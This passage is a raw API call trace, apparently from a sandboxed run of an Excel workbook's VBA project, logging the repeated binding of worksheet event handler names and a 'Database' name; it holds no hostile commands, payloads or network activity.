lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0182.743] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0182.743] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0182.743] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0189.732] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345) returned 0x0 [0189.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0189.732] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0189.732] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0189.732] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0189.733] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0189.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0189.733] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0189.733] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0189.733] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0189.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0189.735] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68cb00 [0189.735] strncpy_s (in: _Dst=0xb68cb00, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0189.735] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0189.735] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0189.735] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0189.735] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0189.736] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0189.736] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0189.736] IUnknown:Release (This=0xb1d1380) returned 0xb [0189.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68cb00, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.736] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0189.736] IUnknown:Release (This=0xb1d1380) returned 0xa [0189.736] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0189.736] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0189.736] IUnknown:Release (This=0xb1d0570) returned 0x12 [0189.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68cb00, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.736] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0189.737] IUnknown:Release (This=0xb1d0570) returned 0x11 [0189.737] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0189.737] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0189.737] IUnknown:Release (This=0xb1d1920) returned 0x6 [0189.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68cb00, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.737] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0189.737] IUnknown:Release (This=0xb1d1920) returned 0x5 [0189.737] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0189.737] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0189.737] IUnknown:Release (This=0x6fed890) returned 0x4 [0189.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68cb00, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.737] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0189.737] IUnknown:Release (This=0x6fed890) returned 0x3 [0189.737] IMalloc:Free (This=0x7feffc15380, pv=0xb68cb00) [0189.737] GetCurrentThreadId () returned 0x92c [0189.737] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0189.737] GetDesktopWindow () returned 0x10010 [0189.738] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0189.738] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0189.738] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68cb00 [0189.738] IMalloc:Free (This=0x7feffc15380, pv=0xb68cb00) [0189.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0189.810] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68e800 [0189.810] strncpy_s (in: _Dst=0xb68e800, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0189.810] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0189.810] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0189.810] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0189.810] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0189.810] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0189.810] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0189.810] IUnknown:Release (This=0xb1d1380) returned 0xb [0189.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e800, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.810] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0189.810] IUnknown:Release (This=0xb1d1380) returned 0xa [0189.810] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0189.811] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0189.811] IUnknown:Release (This=0xb1d0570) returned 0x12 [0189.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e800, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.811] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0189.811] IUnknown:Release (This=0xb1d0570) returned 0x11 [0189.811] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0189.811] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0189.811] IUnknown:Release (This=0xb1d1920) returned 0x6 [0189.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e800, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.811] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0189.811] IUnknown:Release (This=0xb1d1920) returned 0x5 [0189.811] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0189.811] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0189.811] IUnknown:Release (This=0x6fed890) returned 0x4 [0189.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e800, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0189.811] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0189.811] IUnknown:Release (This=0x6fed890) returned 0x3 [0189.812] IMalloc:Free (This=0x7feffc15380, pv=0xb68e800) [0192.785] GetAsyncKeyState (vKey=27) returned 0 [0192.785] GetCurrentThreadId () returned 0x92c [0192.785] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0192.785] GetDesktopWindow () returned 0x10010 [0192.785] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0192.785] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0192.786] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf20 [0192.786] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf20) [0192.871] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x86000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x86000000c0) returned 0x0 [0192.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0192.871] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0192.871] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0192.871] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0194.972] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400000004 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400000004) returned 0x0 [0194.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0194.973] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0194.973] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0194.973] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0202.041] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345) returned 0x0 [0202.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0202.041] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0202.041] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0202.041] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0202.043] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0202.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0202.043] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0202.043] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0202.043] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0202.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0202.045] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68ed20 [0202.045] strncpy_s (in: _Dst=0xb68ed20, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0202.046] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0202.046] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0202.046] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0202.046] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0202.046] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0202.046] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0202.046] IUnknown:Release (This=0xb1d1380) returned 0xb [0202.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ed20, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.046] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0202.046] IUnknown:Release (This=0xb1d1380) returned 0xa [0202.046] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0202.047] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0202.047] IUnknown:Release (This=0xb1d0570) returned 0x12 [0202.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ed20, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.047] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0202.047] IUnknown:Release (This=0xb1d0570) returned 0x11 [0202.047] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0202.047] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0202.047] IUnknown:Release (This=0xb1d1920) returned 0x6 [0202.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ed20, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.047] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0202.047] IUnknown:Release (This=0xb1d1920) returned 0x5 [0202.047] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0202.047] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0202.047] IUnknown:Release (This=0x6fed890) returned 0x4 [0202.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ed20, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.047] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0202.048] IUnknown:Release (This=0x6fed890) returned 0x3 [0202.048] IMalloc:Free (This=0x7feffc15380, pv=0xb68ed20) [0202.048] GetCurrentThreadId () returned 0x92c [0202.048] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0202.048] GetDesktopWindow () returned 0x10010 [0202.048] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0202.048] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0202.048] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68ed20 [0202.049] IMalloc:Free (This=0x7feffc15380, pv=0xb68ed20) [0202.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0202.116] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb2fd490 [0202.116] strncpy_s (in: _Dst=0xb2fd490, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0202.116] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0202.116] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0202.116] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0202.116] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0202.117] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0202.117] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0202.117] IUnknown:Release (This=0xb1d1380) returned 0xb [0202.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fd490, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.117] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0202.117] IUnknown:Release (This=0xb1d1380) returned 0xa [0202.117] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0202.118] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0202.118] IUnknown:Release (This=0xb1d0570) returned 0x12 [0202.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fd490, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.118] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0202.118] IUnknown:Release (This=0xb1d0570) returned 0x11 [0202.118] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0202.118] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0202.118] IUnknown:Release (This=0xb1d1920) returned 0x6 [0202.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fd490, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.118] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0202.118] IUnknown:Release (This=0xb1d1920) returned 0x5 [0202.118] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0202.118] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0202.118] IUnknown:Release (This=0x6fed890) returned 0x4 [0202.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2fd490, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0202.119] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: 